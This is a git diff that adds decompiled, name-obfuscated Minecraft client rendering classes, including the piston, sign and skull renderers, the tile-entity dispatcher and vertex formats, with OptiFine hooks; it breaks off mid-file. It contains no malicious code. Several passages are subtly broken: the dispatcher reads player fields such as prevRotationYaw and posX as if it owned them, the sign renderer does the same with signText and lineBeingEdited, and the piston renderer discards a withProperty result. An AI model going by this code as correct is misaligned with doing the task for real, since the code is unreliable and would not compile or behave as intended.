@@ -0,0 +1,88 @@
+package net.minecraft.client.renderer.tileentity;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPistonBase;
+import net.minecraft.block.BlockPistonExtension;
+import net.minecraft.block.BlockPistonExtension.EnumPistonType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.BlockModelRenderer;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.renderer.vertex.DefaultVertexFormats;
+import net.minecraft.init.Blocks;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityPiston;
+import net.minecraft.util.BlockPos;
+
+public class TileEntityPistonRenderer extends TileEntitySpecialRenderer
+{
+  private final BlockRendererDispatcher field_178462_c = Minecraft.getMinecraft().getBlockRendererDispatcher();
+  private static final String __OBFID = "CL_00002469";
+  
+  public TileEntityPistonRenderer() {}
+  
+  public void func_178461_a(TileEntityPiston p_178461_1_, double p_178461_2_, double p_178461_4_, double p_178461_6_, float p_178461_8_, int p_178461_9_) { BlockPos var10 = p_178461_1_.getPos();
+    IBlockState var11 = p_178461_1_.func_174927_b();
+    Block var12 = var11.getBlock();
+    
+    if ((var12.getMaterial() != net.minecraft.block.material.Material.air) && (p_178461_1_.func_145860_a(p_178461_8_) < 1.0F))
+    {
+      Tessellator var13 = Tessellator.getInstance();
+      WorldRenderer var14 = var13.getWorldRenderer();
+      bindTexture(TextureMap.locationBlocksTexture);
+      RenderHelper.disableStandardItemLighting();
+      GlStateManager.blendFunc(770, 771);
+      GlStateManager.enableBlend();
+      GlStateManager.disableCull();
+      
+      if (Minecraft.isAmbientOcclusionEnabled())
+      {
+        GlStateManager.shadeModel(7425);
+      }
+      else
+      {
+        GlStateManager.shadeModel(7424);
+      }
+      
+      var14.startDrawingQuads();
+      var14.setVertexFormat(DefaultVertexFormats.field_176600_a);
+      var14.setTranslation((float)p_178461_2_ - var10.getX() + p_178461_1_.func_174929_b(p_178461_8_), (float)p_178461_4_ - var10.getY() + p_178461_1_.func_174928_c(p_178461_8_), (float)p_178461_6_ - var10.getZ() + p_178461_1_.func_174926_d(p_178461_8_));
+      var14.func_178986_b(1.0F, 1.0F, 1.0F);
+      net.minecraft.world.World var15 = getWorld();
+      
+      if ((var12 == Blocks.piston_head) && (p_178461_1_.func_145860_a(p_178461_8_) < 0.5F))
+      {
+        var11 = var11.withProperty(BlockPistonExtension.field_176327_M, Boolean.valueOf(true));
+        field_178462_c.func_175019_b().renderBlockModel(var15, field_178462_c.getModelFromBlockState(var11, var15, var10), var11, var10, var14, true);
+      }
+      else if ((p_178461_1_.shouldPistonHeadBeRendered()) && (!p_178461_1_.isExtending()))
+      {
+        BlockPistonExtension.EnumPistonType var16 = var12 == Blocks.sticky_piston ? BlockPistonExtension.EnumPistonType.STICKY : BlockPistonExtension.EnumPistonType.DEFAULT;
+        IBlockState var17 = Blocks.piston_head.getDefaultState().withProperty(BlockPistonExtension.field_176325_b, var16).withProperty(BlockPistonExtension.field_176326_a, var11.getValue(BlockPistonBase.FACING));
+        var17 = var17.withProperty(BlockPistonExtension.field_176327_M, Boolean.valueOf(p_178461_1_.func_145860_a(p_178461_8_) >= 0.5F));
+        field_178462_c.func_175019_b().renderBlockModel(var15, field_178462_c.getModelFromBlockState(var17, var15, var10), var17, var10, var14, true);
+        var14.setTranslation((float)p_178461_2_ - var10.getX(), (float)p_178461_4_ - var10.getY(), (float)p_178461_6_ - var10.getZ());
+        var11.withProperty(BlockPistonBase.EXTENDED, Boolean.valueOf(true));
+        field_178462_c.func_175019_b().renderBlockModel(var15, field_178462_c.getModelFromBlockState(var11, var15, var10), var11, var10, var14, true);
+      }
+      else
+      {
+        field_178462_c.func_175019_b().renderBlockModel(var15, field_178462_c.getModelFromBlockState(var11, var15, var10), var11, var10, var14, false);
+      }
+      
+      var14.setTranslation(0.0D, 0.0D, 0.0D);
+      var13.draw();
+      RenderHelper.enableStandardItemLighting();
+    }
+  }
+  
+  public void renderTileEntityAt(TileEntity p_180535_1_, double p_180535_2_, double p_180535_4_, double p_180535_6_, float p_180535_8_, int p_180535_9_)
+  {
+    func_178461_a((TileEntityPiston)p_180535_1_, p_180535_2_, p_180535_4_, p_180535_6_, p_180535_8_, p_180535_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityRendererChestHelper.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityRendererChestHelper.java
new file mode 100644
index 0000000..51df545
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityRendererChestHelper.java
@@ -0,0 +1,85 @@
+package net.minecraft.client.renderer.tileentity;
+
+import com.mojang.authlib.GameProfile;
+import net.minecraft.block.Block;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTUtil;
+import net.minecraft.tileentity.TileEntityBanner;
+import net.minecraft.tileentity.TileEntityChest;
+import net.minecraft.tileentity.TileEntityEnderChest;
+import net.minecraft.tileentity.TileEntitySkull;
+import net.minecraft.util.EnumFacing;
+
+
+public class TileEntityRendererChestHelper
+{
+  public static TileEntityRendererChestHelper instance = new TileEntityRendererChestHelper();
+  private TileEntityChest field_147717_b = new TileEntityChest(0);
+  private TileEntityChest field_147718_c = new TileEntityChest(1);
+  private TileEntityEnderChest field_147716_d = new TileEntityEnderChest();
+  private TileEntityBanner banner = new TileEntityBanner();
+  private TileEntitySkull field_179023_f = new TileEntitySkull();
+  private static final String __OBFID = "CL_00000946";
+  
+  public TileEntityRendererChestHelper() {}
+  
+  public void renderByItem(ItemStack p_179022_1_) { if (p_179022_1_.getItem() == Items.banner)
+    {
+      banner.setItemValues(p_179022_1_);
+      TileEntityRendererDispatcher.instance.renderTileEntityAt(banner, 0.0D, 0.0D, 0.0D, 0.0F);
+    }
+    else if (p_179022_1_.getItem() == Items.skull)
+    {
+      GameProfile var2 = null;
+      
+      if (p_179022_1_.hasTagCompound())
+      {
+        NBTTagCompound var3 = p_179022_1_.getTagCompound();
+        
+        if (var3.hasKey("SkullOwner", 10))
+        {
+          var2 = NBTUtil.readGameProfileFromNBT(var3.getCompoundTag("SkullOwner"));
+        }
+        else if ((var3.hasKey("SkullOwner", 8)) && (var3.getString("SkullOwner").length() > 0))
+        {
+          var2 = new GameProfile(null, var3.getString("SkullOwner"));
+          var2 = TileEntitySkull.updateGameprofile(var2);
+          var3.removeTag("SkullOwner");
+          var3.setTag("SkullOwner", NBTUtil.writeGameProfile(new NBTTagCompound(), var2));
+        }
+      }
+      
+      if (TileEntitySkullRenderer.instance != null)
+      {
+        GlStateManager.pushMatrix();
+        GlStateManager.translate(-0.5F, 0.0F, -0.5F);
+        GlStateManager.scale(2.0F, 2.0F, 2.0F);
+        GlStateManager.disableCull();
+        TileEntitySkullRenderer.instance.renderSkull(0.0F, 0.0F, 0.0F, EnumFacing.UP, 0.0F, p_179022_1_.getMetadata(), var2, -1);
+        GlStateManager.enableCull();
+        GlStateManager.popMatrix();
+      }
+    }
+    else
+    {
+      Block var4 = Block.getBlockFromItem(p_179022_1_.getItem());
+      
+      if (var4 == Blocks.ender_chest)
+      {
+        TileEntityRendererDispatcher.instance.renderTileEntityAt(field_147716_d, 0.0D, 0.0D, 0.0D, 0.0F);
+      }
+      else if (var4 == Blocks.trapped_chest)
+      {
+        TileEntityRendererDispatcher.instance.renderTileEntityAt(field_147718_c, 0.0D, 0.0D, 0.0D, 0.0F);
+      }
+      else
+      {
+        TileEntityRendererDispatcher.instance.renderTileEntityAt(field_147717_b, 0.0D, 0.0D, 0.0D, 0.0F);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher.java
new file mode 100644
index 0000000..a66bb0b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher.java
@@ -0,0 +1,167 @@
+package net.minecraft.client.renderer.tileentity;
+
+import com.google.common.collect.Maps;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityBanner;
+import net.minecraft.tileentity.TileEntityBeacon;
+import net.minecraft.tileentity.TileEntityChest;
+import net.minecraft.tileentity.TileEntityEnchantmentTable;
+import net.minecraft.tileentity.TileEntityEndPortal;
+import net.minecraft.tileentity.TileEntityEnderChest;
+import net.minecraft.tileentity.TileEntityMobSpawner;
+import net.minecraft.tileentity.TileEntityPiston;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.tileentity.TileEntitySkull;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class TileEntityRendererDispatcher
+{
+  private Map mapSpecialRenderers = Maps.newHashMap();
+  public static TileEntityRendererDispatcher instance = new TileEntityRendererDispatcher();
+  
+  private FontRenderer field_147557_n;
+  
+  public static double staticPlayerX;
+  
+  public static double staticPlayerY;
+  
+  public static double staticPlayerZ;
+  
+  public TextureManager renderEngine;
+  
+  public World worldObj;
+  public Entity field_147551_g;
+  public float field_147562_h;
+  public float field_147563_i;
+  public double field_147560_j;
+  public double field_147561_k;
+  public double field_147558_l;
+  private static final String __OBFID = "CL_00000963";
+  
+  private TileEntityRendererDispatcher()
+  {
+    mapSpecialRenderers.put(TileEntitySign.class, new TileEntitySignRenderer());
+    mapSpecialRenderers.put(TileEntityMobSpawner.class, new TileEntityMobSpawnerRenderer());
+    mapSpecialRenderers.put(TileEntityPiston.class, new TileEntityPistonRenderer());
+    mapSpecialRenderers.put(TileEntityChest.class, new TileEntityChestRenderer());
+    mapSpecialRenderers.put(TileEntityEnderChest.class, new TileEntityEnderChestRenderer());
+    mapSpecialRenderers.put(TileEntityEnchantmentTable.class, new TileEntityEnchantmentTableRenderer());
+    mapSpecialRenderers.put(TileEntityEndPortal.class, new TileEntityEndPortalRenderer());
+    mapSpecialRenderers.put(TileEntityBeacon.class, new TileEntityBeaconRenderer());
+    mapSpecialRenderers.put(TileEntitySkull.class, new TileEntitySkullRenderer());
+    mapSpecialRenderers.put(TileEntityBanner.class, new TileEntityBannerRenderer());
+    Iterator var1 = mapSpecialRenderers.values().iterator();
+    
+    while (var1.hasNext())
+    {
+      TileEntitySpecialRenderer var2 = (TileEntitySpecialRenderer)var1.next();
+      var2.setRendererDispatcher(this);
+    }
+  }
+  
+  public TileEntitySpecialRenderer getSpecialRendererByClass(Class p_147546_1_)
+  {
+    TileEntitySpecialRenderer var2 = (TileEntitySpecialRenderer)mapSpecialRenderers.get(p_147546_1_);
+    
+    if ((var2 == null) && (p_147546_1_ != TileEntity.class))
+    {
+      var2 = getSpecialRendererByClass(p_147546_1_.getSuperclass());
+      mapSpecialRenderers.put(p_147546_1_, var2);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public boolean hasSpecialRenderer(TileEntity p_147545_1_)
+  {
+    return getSpecialRenderer(p_147545_1_) != null;
+  }
+  
+  public TileEntitySpecialRenderer getSpecialRenderer(TileEntity p_147547_1_)
+  {
+    return p_147547_1_ == null ? null : getSpecialRendererByClass(p_147547_1_.getClass());
+  }
+  
+  public void func_178470_a(World worldIn, TextureManager p_178470_2_, FontRenderer p_178470_3_, Entity p_178470_4_, float p_178470_5_)
+  {
+    if (worldObj != worldIn)
+    {
+      func_147543_a(worldIn);
+    }
+    
+    renderEngine = p_178470_2_;
+    field_147551_g = p_178470_4_;
+    field_147557_n = p_178470_3_;
+    field_147562_h = (prevRotationYaw + (rotationYaw - prevRotationYaw) * p_178470_5_);
+    field_147563_i = (prevRotationPitch + (rotationPitch - prevRotationPitch) * p_178470_5_);
+    field_147560_j = (lastTickPosX + (posX - lastTickPosX) * p_178470_5_);
+    field_147561_k = (lastTickPosY + (posY - lastTickPosY) * p_178470_5_);
+    field_147558_l = (lastTickPosZ + (posZ - lastTickPosZ) * p_178470_5_);
+  }
+  
+  public void func_180546_a(TileEntity p_180546_1_, float p_180546_2_, int p_180546_3_)
+  {
+    if (p_180546_1_.getDistanceSq(field_147560_j, field_147561_k, field_147558_l) < p_180546_1_.getMaxRenderDistanceSquared())
+    {
+      int var4 = worldObj.getCombinedLight(p_180546_1_.getPos(), 0);
+      int var5 = var4 % 65536;
+      int var6 = var4 / 65536;
+      OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var5 / 1.0F, var6 / 1.0F);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      BlockPos var7 = p_180546_1_.getPos();
+      func_178469_a(p_180546_1_, var7.getX() - staticPlayerX, var7.getY() - staticPlayerY, var7.getZ() - staticPlayerZ, p_180546_2_, p_180546_3_);
+    }
+  }
+  
+
+
+
+  public void renderTileEntityAt(TileEntity p_147549_1_, double p_147549_2_, double p_147549_4_, double p_147549_6_, float p_147549_8_)
+  {
+    func_178469_a(p_147549_1_, p_147549_2_, p_147549_4_, p_147549_6_, p_147549_8_, -1);
+  }
+  
+  public void func_178469_a(TileEntity p_178469_1_, double p_178469_2_, double p_178469_4_, double p_178469_6_, float p_178469_8_, int p_178469_9_)
+  {
+    TileEntitySpecialRenderer var10 = getSpecialRenderer(p_178469_1_);
+    
+    if (var10 != null)
+    {
+      try
+      {
+        var10.renderTileEntityAt(p_178469_1_, p_178469_2_, p_178469_4_, p_178469_6_, p_178469_8_, p_178469_9_);
+      }
+      catch (Throwable var14)
+      {
+        CrashReport var12 = CrashReport.makeCrashReport(var14, "Rendering Block Entity");
+        CrashReportCategory var13 = var12.makeCategory("Block Entity Details");
+        p_178469_1_.addInfoToCrashReport(var13);
+        throw new net.minecraft.util.ReportedException(var12);
+      }
+    }
+  }
+  
+  public void func_147543_a(World worldIn)
+  {
+    worldObj = worldIn;
+  }
+  
+  public FontRenderer getFontRenderer()
+  {
+    return field_147557_n;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntitySignRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntitySignRenderer.java
new file mode 100644
index 0000000..682578d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntitySignRenderer.java
@@ -0,0 +1,137 @@
+package net.minecraft.client.renderer.tileentity;
+
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiUtilRenderComponents;
+import net.minecraft.client.model.ModelSign;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.init.Blocks;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import optifine.CustomColors;
+import org.lwjgl.opengl.GL11;
+
+public class TileEntitySignRenderer
+  extends TileEntitySpecialRenderer
+{
+  private static final ResourceLocation field_147513_b = new ResourceLocation("textures/entity/sign.png");
+  
+
+  private final ModelSign model = new ModelSign();
+  
+  public TileEntitySignRenderer() {}
+  
+  public void func_180541_a(TileEntitySign p_180541_1_, double p_180541_2_, double p_180541_4_, double p_180541_6_, float p_180541_8_, int p_180541_9_) { Block var10 = p_180541_1_.getBlockType();
+    GlStateManager.pushMatrix();
+    float var11 = 0.6666667F;
+    
+
+    if (var10 == Blocks.standing_sign)
+    {
+      GlStateManager.translate((float)p_180541_2_ + 0.5F, (float)p_180541_4_ + 0.75F * var11, (float)p_180541_6_ + 0.5F);
+      float var20 = p_180541_1_.getBlockMetadata() * 360 / 16.0F;
+      GlStateManager.rotate(-var20, 0.0F, 1.0F, 0.0F);
+      model.signStick.showModel = true;
+    }
+    else
+    {
+      int var19 = p_180541_1_.getBlockMetadata();
+      float var13 = 0.0F;
+      
+      if (var19 == 2)
+      {
+        var13 = 180.0F;
+      }
+      
+      if (var19 == 4)
+      {
+        var13 = 90.0F;
+      }
+      
+      if (var19 == 5)
+      {
+        var13 = -90.0F;
+      }
+      
+      GlStateManager.translate((float)p_180541_2_ + 0.5F, (float)p_180541_4_ + 0.75F * var11, (float)p_180541_6_ + 0.5F);
+      GlStateManager.rotate(-var13, 0.0F, 1.0F, 0.0F);
+      GlStateManager.translate(0.0F, -0.3125F, -0.4375F);
+      model.signStick.showModel = false;
+    }
+    
+    if (p_180541_9_ >= 0)
+    {
+      bindTexture(DESTROY_STAGES[p_180541_9_]);
+      GlStateManager.matrixMode(5890);
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(4.0F, 2.0F, 1.0F);
+      GlStateManager.translate(0.0625F, 0.0625F, 0.0625F);
+      GlStateManager.matrixMode(5888);
+    }
+    else
+    {
+      bindTexture(field_147513_b);
+    }
+    
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.pushMatrix();
+    GlStateManager.scale(var11, -var11, -var11);
+    model.renderSign();
+    GlStateManager.popMatrix();
+    FontRenderer var201 = getFontRenderer();
+    float var13 = 0.015625F * var11;
+    GlStateManager.translate(0.0F, 0.5F * var11, 0.07F * var11);
+    GlStateManager.scale(var13, -var13, var13);
+    GL11.glNormal3f(0.0F, 0.0F, -1.0F * var13);
+    GlStateManager.depthMask(false);
+    int var14 = 0;
+    
+    if (Config.isCustomColors())
+    {
+      var14 = CustomColors.getSignTextColor(var14);
+    }
+    
+    if (p_180541_9_ < 0)
+    {
+      for (int var15 = 0; var15 < signText.length; var15++)
+      {
+        if (signText[var15] != null)
+        {
+          IChatComponent var16 = signText[var15];
+          List var17 = GuiUtilRenderComponents.func_178908_a(var16, 90, var201, false, true);
+          String var18 = (var17 != null) && (var17.size() > 0) ? ((IChatComponent)var17.get(0)).getFormattedText() : "";
+          
+          if (var15 == lineBeingEdited)
+          {
+            var18 = "> " + var18 + " <";
+            var201.drawString(var18, -var201.getStringWidth(var18) / 2, var15 * 10 - signText.length * 5, var14);
+          }
+          else
+          {
+            var201.drawString(var18, -var201.getStringWidth(var18) / 2, var15 * 10 - signText.length * 5, var14);
+          }
+        }
+      }
+    }
+    
+    GlStateManager.depthMask(true);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.popMatrix();
+    
+    if (p_180541_9_ >= 0)
+    {
+      GlStateManager.matrixMode(5890);
+      GlStateManager.popMatrix();
+      GlStateManager.matrixMode(5888);
+    }
+  }
+  
+  public void renderTileEntityAt(TileEntity p_180535_1_, double p_180535_2_, double p_180535_4_, double p_180535_6_, float p_180535_8_, int p_180535_9_)
+  {
+    func_180541_a((TileEntitySign)p_180535_1_, p_180535_2_, p_180535_4_, p_180535_6_, p_180535_8_, p_180535_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer.java
new file mode 100644
index 0000000..b27a09c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer.java
@@ -0,0 +1,197 @@
+package net.minecraft.client.renderer.tileentity;
+
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.minecraft.MinecraftProfileTexture;
+import com.mojang.authlib.minecraft.MinecraftProfileTexture.Type;
+import java.util.Map;
+import java.util.UUID;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelHumanoidHead;
+import net.minecraft.client.model.ModelSkeletonHead;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.resources.DefaultPlayerSkin;
+import net.minecraft.client.resources.SkinManager;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntitySkull;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.ResourceLocation;
+
+public class TileEntitySkullRenderer extends TileEntitySpecialRenderer
+{
+  private static final ResourceLocation field_147537_c = new ResourceLocation("textures/entity/skeleton/skeleton.png");
+  private static final ResourceLocation field_147534_d = new ResourceLocation("textures/entity/skeleton/wither_skeleton.png");
+  private static final ResourceLocation field_147535_e = new ResourceLocation("textures/entity/zombie/zombie.png");
+  private static final ResourceLocation field_147532_f = new ResourceLocation("textures/entity/creeper/creeper.png");
+  public static TileEntitySkullRenderer instance;
+  private final ModelSkeletonHead field_178467_h = new ModelSkeletonHead(0, 0, 64, 32);
+  private final ModelSkeletonHead field_178468_i = new ModelHumanoidHead();
+  private static final String __OBFID = "CL_00000971";
+  
+  public TileEntitySkullRenderer() {}
+  
+  public void func_180542_a(TileEntitySkull p_180542_1_, double p_180542_2_, double p_180542_4_, double p_180542_6_, float p_180542_8_, int p_180542_9_) { EnumFacing var10 = EnumFacing.getFront(p_180542_1_.getBlockMetadata() & 0x7);
+    renderSkull((float)p_180542_2_, (float)p_180542_4_, (float)p_180542_6_, var10, p_180542_1_.getSkullRotation() * 360 / 16.0F, p_180542_1_.getSkullType(), p_180542_1_.getPlayerProfile(), p_180542_9_);
+  }
+  
+  public void setRendererDispatcher(TileEntityRendererDispatcher p_147497_1_)
+  {
+    super.setRendererDispatcher(p_147497_1_);
+    instance = this;
+  }
+  
+  public void renderSkull(float p_180543_1_, float p_180543_2_, float p_180543_3_, EnumFacing p_180543_4_, float p_180543_5_, int p_180543_6_, GameProfile p_180543_7_, int p_180543_8_)
+  {
+    ModelSkeletonHead var9 = field_178467_h;
+    
+    if (p_180543_8_ >= 0)
+    {
+      bindTexture(DESTROY_STAGES[p_180543_8_]);
+      GlStateManager.matrixMode(5890);
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(4.0F, 2.0F, 1.0F);
+      GlStateManager.translate(0.0625F, 0.0625F, 0.0625F);
+      GlStateManager.matrixMode(5888);
+    }
+    else
+    {
+      switch (p_180543_6_)
+      {
+      case 0: 
+      default: 
+        bindTexture(field_147537_c);
+        break;
+      
+      case 1: 
+        bindTexture(field_147534_d);
+        break;
+      
+      case 2: 
+        bindTexture(field_147535_e);
+        var9 = field_178468_i;
+        break;
+      
+      case 3: 
+        var9 = field_178468_i;
+        ResourceLocation var10 = DefaultPlayerSkin.func_177335_a();
+        
+        if (p_180543_7_ != null)
+        {
+          Minecraft var11 = Minecraft.getMinecraft();
+          Map var12 = var11.getSkinManager().loadSkinFromCache(p_180543_7_);
+          
+          if (var12.containsKey(MinecraftProfileTexture.Type.SKIN))
+          {
+            var10 = var11.getSkinManager().loadSkin((MinecraftProfileTexture)var12.get(MinecraftProfileTexture.Type.SKIN), MinecraftProfileTexture.Type.SKIN);
+          }
+          else
+          {
+            UUID var13 = EntityPlayer.getUUID(p_180543_7_);
+            var10 = DefaultPlayerSkin.func_177334_a(var13);
+          }
+        }
+        
+        bindTexture(var10);
+        break;
+      
+      case 4: 
+        bindTexture(field_147532_f);
+      }
+      
+    }
+    GlStateManager.pushMatrix();
+    GlStateManager.disableCull();
+    
+    if (p_180543_4_ != EnumFacing.UP)
+    {
+      switch (SwitchEnumFacing.field_178458_a[p_180543_4_.ordinal()])
+      {
+      case 1: 
+        GlStateManager.translate(p_180543_1_ + 0.5F, p_180543_2_ + 0.25F, p_180543_3_ + 0.74F);
+        break;
+      
+      case 2: 
+        GlStateManager.translate(p_180543_1_ + 0.5F, p_180543_2_ + 0.25F, p_180543_3_ + 0.26F);
+        p_180543_5_ = 180.0F;
+        break;
+      
+      case 3: 
+        GlStateManager.translate(p_180543_1_ + 0.74F, p_180543_2_ + 0.25F, p_180543_3_ + 0.5F);
+        p_180543_5_ = 270.0F;
+        break;
+      
+      case 4: 
+      default: 
+        GlStateManager.translate(p_180543_1_ + 0.26F, p_180543_2_ + 0.25F, p_180543_3_ + 0.5F);
+        p_180543_5_ = 90.0F;
+        
+        break;
+      }
+    } else {
+      GlStateManager.translate(p_180543_1_ + 0.5F, p_180543_2_, p_180543_3_ + 0.5F);
+    }
+    
+    float var14 = 0.0625F;
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.scale(-1.0F, -1.0F, 1.0F);
+    GlStateManager.enableAlpha();
+    var9.render(null, 0.0F, 0.0F, 0.0F, p_180543_5_, 0.0F, var14);
+    GlStateManager.popMatrix();
+    
+    if (p_180543_8_ >= 0)
+    {
+      GlStateManager.matrixMode(5890);
+      GlStateManager.popMatrix();
+      GlStateManager.matrixMode(5888);
+    }
+  }
+  
+  public void renderTileEntityAt(TileEntity p_180535_1_, double p_180535_2_, double p_180535_4_, double p_180535_6_, float p_180535_8_, int p_180535_9_)
+  {
+    func_180542_a((TileEntitySkull)p_180535_1_, p_180535_2_, p_180535_4_, p_180535_6_, p_180535_8_, p_180535_9_);
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_178458_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002468";
+    
+    static
+    {
+      try
+      {
+        field_178458_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178458_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178458_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178458_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer.java
new file mode 100644
index 0000000..3e288f0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer.java
@@ -0,0 +1,41 @@
+package net.minecraft.client.renderer.tileentity;
+
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.World;
+
+public abstract class TileEntitySpecialRenderer
+{
+  protected static final ResourceLocation[] DESTROY_STAGES = { new ResourceLocation("textures/blocks/destroy_stage_0.png"), new ResourceLocation("textures/blocks/destroy_stage_1.png"), new ResourceLocation("textures/blocks/destroy_stage_2.png"), new ResourceLocation("textures/blocks/destroy_stage_3.png"), new ResourceLocation("textures/blocks/destroy_stage_4.png"), new ResourceLocation("textures/blocks/destroy_stage_5.png"), new ResourceLocation("textures/blocks/destroy_stage_6.png"), new ResourceLocation("textures/blocks/destroy_stage_7.png"), new ResourceLocation("textures/blocks/destroy_stage_8.png"), new ResourceLocation("textures/blocks/destroy_stage_9.png") };
+  protected TileEntityRendererDispatcher rendererDispatcher;
+  private static final String __OBFID = "CL_00000964";
+  
+  public TileEntitySpecialRenderer() {}
+  
+  public abstract void renderTileEntityAt(TileEntity paramTileEntity, double paramDouble1, double paramDouble2, double paramDouble3, float paramFloat, int paramInt);
+  
+  protected void bindTexture(ResourceLocation p_147499_1_) { TextureManager var2 = rendererDispatcher.renderEngine;
+    
+    if (var2 != null)
+    {
+      var2.bindTexture(p_147499_1_);
+    }
+  }
+  
+  protected World getWorld()
+  {
+    return rendererDispatcher.worldObj;
+  }
+  
+  public void setRendererDispatcher(TileEntityRendererDispatcher p_147497_1_)
+  {
+    rendererDispatcher = p_147497_1_;
+  }
+  
+  public FontRenderer getFontRenderer()
+  {
+    return rendererDispatcher.getFontRenderer();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/vertex/DefaultVertexFormats.java b/src/minecraft/net/minecraft/client/renderer/vertex/DefaultVertexFormats.java
new file mode 100644
index 0000000..53ebe6a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/vertex/DefaultVertexFormats.java
@@ -0,0 +1,53 @@
+package net.minecraft.client.renderer.vertex;
+
+import optifine.Reflector;
+import optifine.ReflectorField;
+import shadersmod.client.SVertexFormat;
+
+public class DefaultVertexFormats
+{
+  public static VertexFormat field_176600_a = new VertexFormat();
+  public static VertexFormat field_176599_b = new VertexFormat();
+  private static final VertexFormat BLOCK_VANILLA = field_176600_a;
+  private static final VertexFormat ITEM_VANILLA = field_176599_b;
+  private static final String __OBFID = "CL_00002403";
+  
+  public static void updateVertexFormats()
+  {
+    if (optifine.Config.isShaders())
+    {
+      field_176600_a = SVertexFormat.makeDefVertexFormatBlock();
+      field_176599_b = SVertexFormat.makeDefVertexFormatItem();
+    }
+    else
+    {
+      field_176600_a = BLOCK_VANILLA;
+      field_176599_b = ITEM_VANILLA;
+    }
+    
+    if (Reflector.Attributes_DEFAULT_BAKED_FORMAT.exists())
+    {
+      VertexFormat vfSrc = field_176599_b;
+      VertexFormat vfDst = (VertexFormat)Reflector.getFieldValue(Reflector.Attributes_DEFAULT_BAKED_FORMAT);
+      vfDst.clear();
+      
+      for (int i = 0; i < vfSrc.func_177345_h(); i++)
+      {
+        vfDst.func_177349_a(vfSrc.func_177348_c(i)); }
+    }
+  }
+  
+  public DefaultVertexFormats() {}
+  
+  static {
